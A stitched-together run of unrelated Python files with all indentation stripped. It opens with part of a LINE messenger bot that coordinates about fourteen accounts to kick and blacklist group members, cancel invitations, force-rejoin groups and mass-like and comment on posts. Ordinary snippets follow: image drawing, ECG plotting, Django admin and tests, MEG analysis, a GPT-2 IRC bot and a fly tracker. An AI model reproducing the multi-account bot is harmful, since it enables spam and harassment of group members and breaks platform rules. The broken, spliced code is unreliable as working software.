Ticket = ki10.reissueGroupTicket(op.param1)
else:
G = ki12.getGroup(op.param1)
ki12.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki10.updateGroup(G)
Ticket =ki10.reissueGroupTicket(op.param1)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki10.reissueGroupTicket(op.param1)
elif op.param3 in ki12mid:
if op.param2 in ki11mid:
G = ki11.getGroup(op.param1)
G.preventJoinByTicket = False
ki11.updateGroup(G)
Ticket = ki11.reissueGroupTicket(op.param1)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki11.reissueGroupTicket(op.param1)
else:
G = ki13.getGroup(op.param1)
ki13.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki11.updateGroup(G)
Ticket =ki11.reissueGroupTicket(op.param1)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki11.reissueGroupTicket(op.param1)
elif op.param3 in ki13mid:
if op.param2 in ki12mid:
G = ki12.getGroup(op.param1)
G.preventJoinByTicket = False
ki12.updateGroup(G)
Ticket = ki12.reissueGroupTicket(op.param1)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki12.reissueGroupTicket(op.param1)
else:
G = cl.getGroup(op.param1)
cl.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki12.updateGroup(G)
Ticket =ki12.reissueGroupTicket(op.param1)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki12.reissueGroupTicket(op.param1)
except:
pass
if op.type == 17:
if op.param2 not in Bots:
if op.param2 in Bots:
pass
if wait["protect"] == True:
if wait["blacklist"][op.param2] == True:
try:
ki6.kickoutFromGroup(op.param1,[op.param2])
G = random.choice(cl).getGroup(op.param1)
G.preventJoinByTicket = True
random.choice(ki).updateGroup(G)
ki6.kickoutFromGroup(op.param1,[op.param2])
except:
pass
try:
ki6.kickoutFromGroup(op.param1,[op.param2])
G = random.choice(cl).getGroup(op.param1)
G.preventJoinByTicket = True
random.choice(ki).updateGroup(G)
ki6.kickoutFromGroup(op.param1,[op.param2])
except:
pass
elif op.param2 not in Bots:
random.choice(KAC).sendText(op.param1,"Welcome. Don't Play Bots. I can kick you!")
else:
pass
if op.type == 19:
if op.param2 not in Bots:
if op.param2 in Bots:
pass
elif wait["protect"] == True:
wait ["blacklist"][op.param2] = True
ki6.kickoutFromGroup(op.param1,[op.param2])
else:
cl.sendText(op.param1,"")
if op.type == 13:
if wait["inviteprotect"] == True:
group = ki10.getGroup(op.param1)
gMembMids = [contact.mid for contact in group.invitee]
if op.param2 in Bots:
pass
if op.param2 in admin:
pass
else:
ki10.cancelGroupInvitation(op.param1, gMembMids)
ki10.sendText(op.param1, "Aku Cancel😛")
if op.type == 11:
if op.param2 not in Bots:
if op.param2 in Bots:
pass
elif wait["linkprotect"] == True:
wait ["blacklist"][op.param2] = True
G = cl.getGroup(op.param1)
G.preventJoinByTicket = True
ki5.updateGroup(G)
ki6.updateGroup(G)
ki7.updateGroup(G)
ki8.updateGroup(G)
ki9.updateGroup(G)
ki10.updateGroup(G)
ki11.updateGroup(G)
ki12.updateGroup(G)
ki13.updateGroup(G)
random.choice(ki).kickoutFromGroup(op.param1,[op.param2])
else:
cl.sendText(op.param1,"")
else:
cl.sendText(op.param1,"")
if op.type == 5:
if wait["autoAdd"] == True:
if (wait["message"] in [""," ","\n",None]):
pass
else:
cl.sendText(op.param1,str(wait["message"]))
if op.type == 55:
try:
if op.param1 in wait2['readPoint']:
if op.param2 in wait2['readMember'][op.param1]:
pass
else:
wait2['readMember'][op.param1] += op.param2
wait2['ROM'][op.param1][op.param2] = op.param2
with open('sider.json', 'w') as fp:
json.dump(wait2, fp, sort_keys=True, indent=4)
else:
pass
except:
pass
if op.type == 26:
msg = op.message
try:
if msg.contentType == 0:
try:
if msg.to in wait2['readPoint']:
if msg.from_ in wait2["ROM"][msg.to]:
del wait2["ROM"][msg.to][msg.from_]
else:
pass
except:
pass
else:
pass
except KeyboardInterrupt:
sys.exit(0)
except Exception as error:
print error
print ("\n\nRECEIVE_MESSAGE\n\n")
return
if op.type == 59:
print op
except Exception as error:
print error
if op.type == 59:
print op
except Exception as error:
print error
while True:
try:
Ops = cl.fetchOps(cl.Poll.rev, 5)
except EOFError:
raise Exception("It might be wrong revision\n" + str(cl.Poll.rev))
for Op in Ops:
if (Op.type != OpType.END_OF_OPERATION):
cl.Poll.rev = max(cl.Poll.rev, Op.revision)
bot(Op)
def autoSta():
count = 1
while True:
try:
for posts in cl.activity(1)["result"]["posts"]:
if posts["postInfo"]["liked"] is False:
if wait["likeOn"] == True:
cl.like(posts["userInfo"]["writerMid"], posts["postInfo"]["postId"], 1001)
ki.like(posts["userInfo"]["writerMid"], posts["postInfo"]["postId"], 1001)
kk.like(posts["userInfo"]["writerMid"], posts["postInfo"]["postId"], 1001)
kc.like(posts["userInfo"]["writerMid"], posts["postInfo"]["postId"], 1001)
ks.like(posts["userInfo"]["writerMid"], posts["postInfo"]["postId"], 1001)
kt.like(posts["userInfo"]["writerMid"], posts["postInfo"]["postId"], 1001)
if wait["commentOn"] == True:
if posts["userInfo"]["writerMid"] in wait["commentBlack"]:
pass
else:
cl.comment(posts["userInfo"]["writerMid"],posts["postInfo"]["postId"],wait["comment"])
ki.comment(posts["userInfo"]["writerMid"],posts["postInfo"]["postId"],wait["comment"])
kk.comment(posts["userInfo"]["writerMid"],posts["postInfo"]["postId"],wait["comment"])
kc.comment(posts["userInfo"]["writerMid"],posts["postInfo"]["postId"],wait["comment"])
ks.comment(posts["userInfo"]["writerMid"],posts["postInfo"]["postId"],wait["comment"])
kt.comment(posts["userInfo"]["writerMid"],posts["postInfo"]["postId"],wait["comment"])
except:
count += 1
if(count == 50):
sys.exit(0)
else:
pass
thread1 = threading.Thread(target=autoSta)
thread1.daemon = True
thread1.start() |
from PIL import Image, ImageDraw, ImageFont
import cv2
import numpy as np
def change_cv2_draw(image,strs,local,sizes,colour):
cv2img = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
pilimg = Image.fromarray(cv2img)
draw = ImageDraw.Draw(pilimg) # 图片上打印
font = ImageFont.truetype("SIMYOU.TTF",sizes, encoding="utf-8")
draw.text(local, strs, colour, font=font)
image = cv2.cvtColor(np.array(pilimg), cv2.COLOR_RGB2BGR)
return image |
from ECG.ecg import read_ecg,find_peaks
import numpy as np
import time
import os
import numpy as np
import plotly.offline as pyo
import plotly.graph_objects as go
import dash
import dash_core_components as dcc
import dash_html_components as html
from dash.dependencies import Input, Output
from collections import deque
file = os.path.join(os.path.dirname(os.path.realpath(__file__)), "a01.dat")
Y = deque(maxlen=500)
offest = 0
# read first window
window = 500
Y.append(read_ecg(file,offest,window))
# p = find_peaks(Y)
print(find_peaks(list(Y)[0],height=150))
# print(list(Y)[0][-1])
# print(p.values) |
from django.contrib import admin
from api.models import Estate, EstateImage, Tracking
import cloudinary.uploader
"""
Custom view of admin page
"""
# ------------------------------------------
class EstateFilter(admin.SimpleListFilter):
"""
Reference: https://medium.com/elements/getting-the-most-out-of-django-admin-filters-2aecbb539c9a
"""
title = 'IsApproved'
parameter_name = 'isApproved'
def lookups(self, request, model_admin):
list_of_estates = [('1', "Approved"), ('0', "Rejected"), ('2', "Processing")]
return sorted(list_of_estates, key=lambda tp: tp[1])
def queryset(self, request, queryset):
value = super(EstateFilter, self).value()
if value is not None:
return queryset.filter(isApproved=value)
return queryset
# --------------------------------------
class ProvinceDisplay(admin.ModelAdmin):
list_display = ('id', 'name', 'code')
list_display_links = ('id', 'name')
search_fields = ('id', 'name', 'code')
list_per_page = 25
class DistrictDisplay(admin.ModelAdmin):
list_display = ('id', 'name', 'prefix', 'province_id')
list_display_links = ('id', 'name')
search_fields = ('id', 'name', 'code')
list_per_page = 25
class WardDisplay(admin.ModelAdmin):
list_display = ('id', 'name', 'prefix', 'province_id', 'district_id')
list_display_links = ('id', 'name')
search_fields = ('id', 'name', 'code')
list_per_page = 25
class StreetDisplay(admin.ModelAdmin):
list_display = ('id', 'name', 'prefix', 'province_id', 'district_id')
list_display_links = ('id', 'name')
search_fields = ('id', 'name', 'code')
list_per_page = 25
class ProjectDisplay(admin.ModelAdmin):
list_display = ('id', 'name', 'lat', 'lng', 'province_id', 'district_id')
list_display_links = ('id', 'name')
search_fields = ('id', 'name', 'code')
list_per_page = 25
class EstateDisplay(admin.ModelAdmin):
list_display = ('id', 'title', 'estateType', 'transaction', 'project', 'province', 'district', 'isApproved')
list_display_links = ('id', 'title')
search_fields = ('id', 'title', 'province__name', 'district__name', 'isApproved')
list_per_page = 25
list_filter = (EstateFilter,)
actions = ('do_approve_estate', 'do_reject_estate')
def delete_model(self, request, estate):
# do something with the user instance
# ------------------- Delete Image ---------------------#
img_obj = EstateImage.objects.filter(estate=estate.id)
for img in img_obj:
url = img.image
temp = url.index('/estate/')
temp_url = url[temp:]
endIndex = temp_url.index('.')
public_id = temp_url[1:endIndex]
cloudinary.uploader.destroy(public_id)
estate.delete()
def do_approve_estate(self, request, queryset):
count = queryset.update(isApproved=1)
self.message_user(request, '{} estate(s) have been approved successfully.'.format(count))
do_approve_estate.short_description = 'Mark selected estates as approved'
def do_reject_estate(self, request, queryset):
count = queryset.update(isApproved=0)
self.message_user(request, '{} estate(s) have been rejected successfully.'.format(count))
do_reject_estate.short_description = 'Mark selected estates as rejected'
class EstateImageDisplay(admin.ModelAdmin):
list_display = ('id', 'estate', 'image')
list_display_links = ('id', 'estate')
search_fields = ('id', 'estate__id')
list_per_page = 25
class PostDisplay(admin.ModelAdmin):
list_display = ('id', 'user', 'estate', 'dateFrom', 'dateTo')
list_display_links = ('id', 'user', 'estate')
search_fields = ('id', 'user__name', 'estate__title', 'transaction__name')
list_per_page = 25
class InterestDisplay(admin.ModelAdmin):
list_display = ('id', 'user', 'estate')
list_display_links = ('id', 'user', 'estate')
search_fields = ('id', 'user__name', 'estate__id')
list_per_page = 25
class NewsDisplay(admin.ModelAdmin):
list_display = ('id', 'title', 'newsType')
list_display_links = ('id', 'title')
search_fields = ('id', 'title', 'newsType__name')
list_per_page = 25
class NewsImageDisplay(admin.ModelAdmin):
list_display = ('id', 'news', 'image')
list_display_links = ('id', 'news')
search_fields = ('id', 'news__title')
list_per_page = 25
class TrackingDisplay(admin.ModelAdmin):
list_display = ('id', 'deviceId', 'province', 'district', 'estateType', 'price', 'area', 'timestamp')
list_display_links = ('id', 'deviceId')
search_fields = ('id', 'deviceId')
list_per_page = 25
change_list_template = 'change_list_tracking_graph.html'
|
import re
import os
import sys
sys.path.append(os.path.join(os.path.dirname(__file__),"..", "basics"))
# from timecourse_an_config import * <--- included in calc_lbl_timecourse
from calc_time_indices import *
from prepare_ttest_results import *
from get_lbl_indices import*
from scipy import stats
from scipy import spatial
import numpy as np
import mne
from matplotlib import pyplot
pyplot.switch_backend('agg')
from cos_an_config import *
def calc_mah_distance_cov_by_vox(subject, time_lbl_inds, lbl_inds):
S1 = []; W2 = []; D2 = []; S1_sample = []; S1_cov = [];
#mah_S1_W2 = np.zeros((n_voxels))
#mah_S1_D2 = np.zeros((n_voxels))
mah_S1_W2 = np.zeros((len(lbl_inds)))
mah_S1_D2 = np.zeros((len(lbl_inds)))
#print(mah_S1_W2.shape)
w1 = np.zeros((4, n_voxels, int(time_lbl_inds[1]-time_lbl_inds[0])))
#print('w1_zeros shape: ', w1.shape)
w2 = np.zeros((4, n_voxels, int(time_lbl_inds[1]-time_lbl_inds[0])))
d1 = np.zeros((4, n_voxels, int(time_lbl_inds[1]-time_lbl_inds[0])))
d2 = np.zeros((4, n_voxels, int(time_lbl_inds[1]-time_lbl_inds[0])))
for w_id, word in enumerate(words):
stc = mne.read_source_estimate(data_path.format(subject, "passive1", word, integ_ms))
#print('stc shape: ', stc.data.shape)
#print('w1_lbl shape: ', stc.data[lbl_inds, :].shape)
w1[w_id,:,:] = stc.data[:, int(time_lbl_inds[0]):int(time_lbl_inds[1])]
stc = mne.read_source_estimate(data_path.format(subject, "passive2", word, integ_ms))
w2[w_id,:,:] = stc.data[:, int(time_lbl_inds[0]):int(time_lbl_inds[1])]
stc = mne.read_source_estimate(data_path.format(subject, "passive1", distractors[w_id], integ_ms))
d1[w_id,:,:] = stc.data[:, int(time_lbl_inds[0]):int(time_lbl_inds[1])]
stc = mne.read_source_estimate(data_path.format(subject, "passive2", distractors[w_id], integ_ms))
d2[w_id,:,:] = stc.data[:, int(time_lbl_inds[0]):int(time_lbl_inds[1])]
S1 = np.nan_to_num(np.mean(w1+d1, axis = 0)/2)
W2 = np.nan_to_num(np.mean(w2, axis = 0))
D2 = np.nan_to_num(np.mean(d2, axis = 0))
##mah
#S12_sample = np.append(w1, np.append(d1 , np.append(w2, d2, axis = 0), axis = 0), axis = 0)
S_sample = np.nan_to_num(np.append(w1, d1, axis = 0))
for i, ind in enumerate(lbl_inds):
#print(ind)
#print(type(ind))
S_cov=[]; SI =[];
S_cov = np.abs(np.nan_to_num(np.log(np.cov(S_sample[:,int(ind),:], rowvar=False))))
#print('\n cov_', ind, ' = \n', np.diag(S_cov))
print('\n cov_', ind, ' = \n', S_cov)
SI = np.linalg.inv(S_cov)
print('\n inv_cov_', ind, ' = \n', np.diag(SI))
mah_S1_W2[i] = spatial.distance.mahalanobis(W2[int(ind),:], S1[int(ind),:], SI)
mah_S1_D2[i] = spatial.distance.mahalanobis(D2[int(ind),:], S1[int(ind),:], SI)
return(mah_S1_W2, mah_S1_D2)
### directoties
ttest_result = '/net/server/data/programs/razoral/platon_pmwords/target/cos/{}_mahS1W2_vs_mahS1D2_{}'
lbls_path = '/net/server/data/programs/razoral/platon_pmwords/lbls/ttest/otladka/'
img_path = '/net/server/data/programs/razoral/platon_pmwords/target/manual_ttest/144_362ms/circular_insula_check/S1_W2_D2/'
ttest_stc = '/net/server/data/programs/razoral/platon_pmwords/target/manual_ttest/144_362ms/vec_p-val_sub24_dW_vs_dD_144_362ms_integ5-lh.stc'
### params
#timings = ["144_362ms", "144_217ms", "226_362ms"]
#time_intervals = [[145, 362], [145, 217], [226, 362]]
time_lbls = ["185_195ms"]
time_intervals = np.array([[185, 225]])
### code
stc_test = mne.read_source_estimate(data_path.format(subjects[0], "passive1", words[0], integ_ms ))
time_intervals_inds = calc_time_indices(time_intervals, data_path.format(subjects[0], "passive1", words[0], integ_ms ), integ_ms)
lbls_list = [lbl for lbl in os.listdir(lbls_path) if '.label' in lbl]
print('\n labels in folder: ', len(lbls_list))
print('\n labels :')
for i in range(0, len(lbls_list)):
print('\n', str(i+1)+'.', lbls_list[i])
lbl_name = re.sub('-[lr]h.label', '', lbls_list[0])
print('\n', lbl_name)
ROIinds = get_ttestROI_indices(lbls_path+lbls_list[0], ttest_stc, 0.9)
print(len(ROIinds))
#print(type(ROIinds))
voxels_in_an = np.arange(0,n_voxels)
#print(type(voxels_in_an))
for t, time_interval in enumerate(time_intervals):
print('calulation on ', time_lbls[t], 'interval')
#sub_mah_sw = np.zeros((len(subjects), n_voxels))
#sub_mah_sd = np.zeros((len(subjects), n_voxels))
#sub_mah_sw = np.zeros((len(subjects),len(voxels_in_an)))
#sub_mah_sd = np.zeros((len(subjects), len(voxels_in_an)))
sub_mah_sw = np.zeros((len(subjects),len(ROIinds)))
sub_mah_sd = np.zeros((len(subjects), len(ROIinds)))
for subject_idx, subject in enumerate(subjects):
print("\n\t({:2}/{:2}) processing {}\n".format(subject_idx+1, len(subjects), subject))
sub_mah_sw[subject_idx,:], sub_mah_sd[subject_idx,:] = calc_mah_distance_cov_by_vox(subject, time_intervals_inds[t], ROIinds)
print('\n dist_sw_'+ lbl_name + '_' + subject + ' =', np.nanmean(sub_mah_sw[subject_idx]))
#print('\n examples ', sub_mah_sw[subject_idx, ROIinds[10:16]] )
print('\n examples ', sub_mah_sw[subject_idx, 10:16] )
print('\n dist_sd_'+ lbl_name + '_' + subject + ' =', np.nanmean(sub_mah_sd[subject_idx]))
#print('\n examples ', sub_mah_sd[subject_idx, ROIinds[10:16]] )
print('\n examples ', sub_mah_sd[subject_idx, 10:16] )
''' distance_type = 'mah'
time_range = np.arange(time_intervals_inds[t][0], time_intervals_inds[t][1])
pyplot.figure(subject_idx+100)
pyplot.title(subject + 'cov_by_vox')
pyplot.xlabel("mah_S1W2")
pyplot.ylabel("n_vox")
pyplot.hist(sub_mah_sw[subject_idx, :])
pyplot.savefig(img_path + 'mah_hist/S1cov_by_vox/' + subject + '_'+ distance_type+'_dist_sw' + '.png')
pyplot.figure(subject_idx+200)
pyplot.title(subject + 'cov_by_vox')
pyplot.xlabel("mah_S1D2")
pyplot.ylabel("n_vox")
pyplot.hist(sub_mah_sd[subject_idx, :])
pyplot.savefig(img_path + 'mah_hist/S1cov_by_vox/'+ subject + '_'+ distance_type + '_dist_sd' + '.png')
pyplot.figure(subject_idx+300)
pyplot.title('cov_by_vox')
pyplot.xlabel("mah_S1W2")
pyplot.ylabel("n_vox")
pyplot.hist(np.mean(sub_mah_sw, axis = 0))
pyplot.savefig(img_path + 'mah_hist/S1cov_by_vox/'+'voxS1_'+ distance_type +'_dist_sw' + '.png')
pyplot.figure(subject_idx+400)
pyplot.title('cov_by_vox')
pyplot.xlabel("mah_S1D2")
pyplot.ylabel("n_vox")
pyplot.hist(np.mean(sub_mah_sd, axis = 0))
pyplot.savefig(img_path + 'mah_hist/S1cov_by_vox/'+ 'vox_S1' + distance_type +'_dist_sd' + '.png')
t_stat, p_val = stats.ttest_rel(sub_mah_sw, sub_mah_sd, axis=0)
t_stat_data, p_val_data = prepare_ttest_results(t_stat, p_val)
p_val_stc = mne.SourceEstimate(p_val_data, vertices = stc_test.vertices, tmin = time_intervals[t][0], tstep = integ_ms)
#p_val_stc.save(ttest_result.format("vec_p-val", time_lbl, lbl_name))
p_val_stc.save(ttest_result.format("vec_p-val", time_lbls[t]))
t_stat_stc = mne.SourceEstimate(t_stat_data, vertices = stc_test.vertices, tmin = time_intervals[t][0], tstep = integ_ms)
#t_stat_stc.save(ttest_result.format("vec_t-stat", time_lbl, lbl_name))
t_stat_stc.save(ttest_result.format("vec_t-stat", time_lbls[t]))'''
|
from auth.models import RidUser
def get_dept_names(request):
context = {}
context['dept_names'] = RidUser.department_labels
context['batch_names'] = RidUser.batch_labels
return context
|
import numpy as np
import cv2
def stochastic_universal_sampling(weight_vec):
sample_set = []
cdf = []
n = len(weight_vec)
cdf.append(weight_vec[0][2])
for i in range(1, n):
cdf.append(cdf[i - 1] + weight_vec[i][2])
u = 1.0/n
i = 0
for j in range(0, n):
while (u > cdf[i]):
if i >= len(cdf) - 1:
break
i = i + 1
sample_set.append([weight_vec[i][0], weight_vec[i][1], 1.0/n])
u = u + 1.0/n
return sample_set
def mean_squared_error(template, target):
mse = np.sum(((template.astype(float) - target.astype(float)) ** 2)) / (template.shape[0] * template.shape[1])
return mse
def histogram_distance(template, target):
template_hist = np.zeros((256, 3))
target_hist = np.zeros((256, 3))
width = template.shape[1]
height = template.shape[0]
for ch in range(0, 3):
template_hist[:, ch] = np.array(cv2.calcHist([template], [ch], None, [256], [0, 256]))[:, 0]
target_hist[:, ch] = np.array(cv2.calcHist([target.astype(np.uint8)], [ch], None, [256], [0, 256]))[:, 0]
template_hist /= float(width * height)
target_hist /= float(width * height)
dist = 0
'''
for k in range(0, 256):
for ch in range(0, 3):
if template_hist[k, ch] == 0 and target_hist[k, ch] == 0:
continue
else:
dist += (template_hist[k, ch] - target_hist[k, ch])**2/(template_hist[k, ch] + target_hist[k, ch])
'''
hist_sum = template_hist + target_hist
nonzero_mask = hist_sum > 0
hist_sub = template_hist - target_hist
dist = 0.5 * np.sum(hist_sub[nonzero_mask]**2 / hist_sum[nonzero_mask])
return dist |
import unittest
from accounts.models import Alert
from accounts.tests.factories import SuperUserFactory
from django.core import mail
class AlertTestCase(unittest.TestCase):
def setUp(self):
self.alert = Alert(1, 'code', 'template')
self.alert.save()
def testAlertAdded(self):
x = Alert.objects.all()
self.assertEqual(len(x), 1)
def testAlertRemoved(self):
x = Alert.objects.all()[0] # get the first alert in the database
x.delete()
self.assertEqual(len(Alert.objects.all()), 0)
class AccountTest(unittest.TestCase):
def test_unicode(self):
account = SuperUserFactory.create()
result = str(account)
self.assertEqual(result, account.email)
def test_get_username(self):
account = SuperUserFactory.create()
result = account.get_username()
self.assertEqual(result, account.email)
def test_get_short_name(self):
account = SuperUserFactory.create()
result = account.get_short_name()
self.assertEqual(result, account.first_name)
def test_get_full_name(self):
account = SuperUserFactory.create()
result = account.get_full_name()
self.assertEqual(result, account.first_name+' '+account.last_name)
def test_email_user(self):
account = SuperUserFactory.create()
subject = "foo"
account.email_user("test_templated_email", "alert", {"subject": subject})
self.assertEqual(len(mail.outbox), 1)
self.assertEqual(mail.outbox[0].subject, subject)
self.assertEqual(mail.outbox[0].to[0], account.email)
def test_send_activation_email(self):
account = SuperUserFactory.create()
account.send_activation_email('activate')
self.assertEqual(mail.outbox[1].to[0], account.email)
|
# Copyright Clement Schreiner, 2019
# Transformer class based on:
# https://github.com/nshepperd/gpt-2/blob/e99ee3748b6a41e9532538bfc3af17f0b64a5caf/src/interactive_conditional_samples.py
# (MIT/Expat license)
import json
import numpy as np
import os
import random
import tensorflow as tf
import sopel.module, sopel.tools
import encoder, model, sample
tf.logging.set_verbosity('ERROR')
transformer = None
class Transformer:
def __init__(self, model_name='117M', seed=None, nsamples=1,
batch_size=1, length=10, temperature=0.7, top_k=0,
nb_lines=1):
self.model_name = model_name
self.seed = seed
self.nsamples = nsamples
self.batch_size = 1
self.length = 100
self.temperature = temperature
self.top_k = top_k
self.nb_lines = nb_lines
self.session = None
def setup(self):
if self.batch_size is None:
self.batch_size = 1
assert self.nsamples % self.batch_size == 0
self.enc = encoder.get_encoder(self.model_name)
hparams = model.default_hparams()
with open(os.path.join('models', self.model_name, 'hparams.json')) as f:
hparams.override_from_dict(json.load(f))
if self.length is None:
self.length = hparams.n_ctx // 2
elif self.length > hparams.n_ctx:
raise ValueError("Can't get samples longer than window size: %s" % hparams.n_ctx)
graph=tf.Graph()
saver = None
with graph.as_default():
assert graph is tf.get_default_graph()
self.context = tf.placeholder(tf.int32, [self.batch_size, None])
np.random.seed(self.seed)
tf.set_random_seed(self.seed)
self.output = sample.sample_sequence(
hparams=hparams, length=self.length,
context=self.context,
batch_size=self.batch_size,
temperature=self.temperature,
top_k=self.top_k
)
saver = tf.train.Saver()
self.session = tf.Session(graph=graph)
with self.session.as_default():
ckpt = tf.train.latest_checkpoint(os.path.join('models', self.model_name))
saver.restore(self.session, ckpt)
def _interact(self, msg):
context_tokens = self.enc.encode(msg)
generated = 0
with self.session.as_default():
for _ in range(self.nsamples // self.batch_size):
out = self.session.run(self.output, feed_dict={
self.context: [context_tokens for _ in range(self.batch_size)]
})[:, len(context_tokens):]
for i in range(self.batch_size):
generated += 1
text = self.enc.decode(out[i])
# FIXME: ugly hack to get only one line
# (model finetuned on IRC logs)
return '\n'.join(text.split('\n')[:self.nb_lines])
return None
def predict(self, msg):
return self._interact(msg)
def setup(bot):
global transformer
# FIXME: put model_name, length, temperature in sopel configuration file
# model_name: name of the folder containing the model, in
transformer = Transformer(
model_name='tdl-gpu-3',
length=20,
nb_lines=1,
temperature=0.8)
transformer.setup()
bot.memory['jobs'] = sopel.tools.SopelMemory()
bot.memory['jobs']['count'] = 0
def shutdown(bot):
transformer.session.close()
@sopel.module.commands('complete')
def complete(bot, trigger):
bot.say(transformer.predict(trigger.group(2)))
@sopel.module.commands('comp5')
def comp5(bot, trigger):
n = 5
jid = bot.memory['jobs']['count'] + 1
bot.memory['jobs']['count'] = jid
bot.say('[{}] completing "{}", {} times, for {}'.format(
jid, trigger.group(2), n, trigger.nick)
)
for i in range(0, n):
bot.say("[{}.{}] {}".format(jid, i, transformer.predict(trigger.group(2))))
@sopel.module.commands('context')
def context(bot, trigger):
context = trigger.group(2).split('./#@')
context = '\n'.join(context)
bot.say(transformer.predict(context))
# FIXME: DRY
@sopel.module.commands('context5')
def context5(bot, trigger):
n = 5
jid = bot.memory['jobs']['count'] + 1
bot.memory['jobs']['count'] = jid
lines = trigger.group(2).split('./#@')
bot.say('[{}] completing {} lines, {} times, for {}'.format(
jid,
len(lines),
n,
trigger.nick,
))
context = '\n'.join(lines)
for i in range(0, n):
bot.say("[{}.{}] {}".format(jid, i, transformer.predict(context)))
|
import torch
from flytracker import run
from flytracker.analysis import annotate
from time import time
movie_path = "data/experiments/bruno/videos/seq_1.mp4"
mask = torch.ones((1080, 1280), dtype=bool)
mask[:130, :] = 0
mask[-160:, :] = 0
mask[:, :270] = 0
mask[:, -205:] = 0
mask[:190, :350] = 0
mask[:195, -270:] = 0
mask[-220:, :340] = 0
mask[870:, 1010:] = 0
print("Running tracker.")
start = time()
df = run(
movie_path,
mask,
n_arenas=4,
n_frames=500,
gpu=True,
parallel=True,
n_ini=100,
threshold=120,
)
stop = time()
print(f"Running took {stop-start}s")
df.to_hdf("tests/df.hdf", key="df", complevel=9, complib="blosc")
print("Starting annotating.")
annotate(
df, movie_path, "tests/annotated_video.mp4", track_length=30, touching_distance=10,
)
|
import numpy as np
import matplotlib.pyplot as plt
import sklearn.svm as svm
from sklearn.svm import LinearSVR
from sklearn.model_selection import GridSearchCV
from sklearn.model_selection import train_test_split
from nltk.corpus import sentiwordnet as swn
import ast
from sklearn.ensemble import RandomForestClassifier
